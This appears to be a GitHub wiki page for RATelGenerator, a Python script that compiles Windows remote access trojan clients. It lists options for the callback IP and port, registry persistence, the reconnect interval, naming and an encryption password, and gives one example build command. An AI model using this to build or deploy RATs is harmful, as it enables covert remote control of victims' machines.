Skip to content

Usage RATelGenerator

FrenchCisco edited this page Feb 9, 2021 · 16 revisions

This documentation explains the operation of the generator (RATelGenerator.py) and its arguments.


Functioning :

RATelGenerator allows to compile RATs (client), RATs are compiled with Mingw.

The script takes into account many arguments, which allows to have a wider and more targeted control according to your situation or requirement.

The behavior of the RAT changes according to the past arguments. The only mandatory argument is IP to determine which IP address the RAT will try to connect to.

Arguments:

Argument Syntax example Commant
-h / --help --help --help Show this help message
-a / --auto --auto --auto Activates persistence mode as soon as
the client is executed.
-p / --port --port <port> --port 8888 The port number where the client should
connect to.
-i / --ip --ip <address ip> --ip 192.168.1.32 L'adresse IP du serveur.
-r / --reconnect --reconnect <time> --reconnect 10 The number of wait times between
each reconnection attempt
to the server (in seconds).
-n / --name --name <name of rat> --name my_rat.exe The name of the RAT.
-rs / --registry --registry <name> --registry win_key The name of the string value
of the key for persistence.
-pa / --password --password <password> --password linusIsBestOS The password to encrypt and
decrypt data on the network.

Exemple de commande

$ /usr/bin/python3 RATelGenerator.py --ip 192.168.1.34 --port 8888 --name RATclient.exe --password linuxIsBestOS

Clone this wiki locally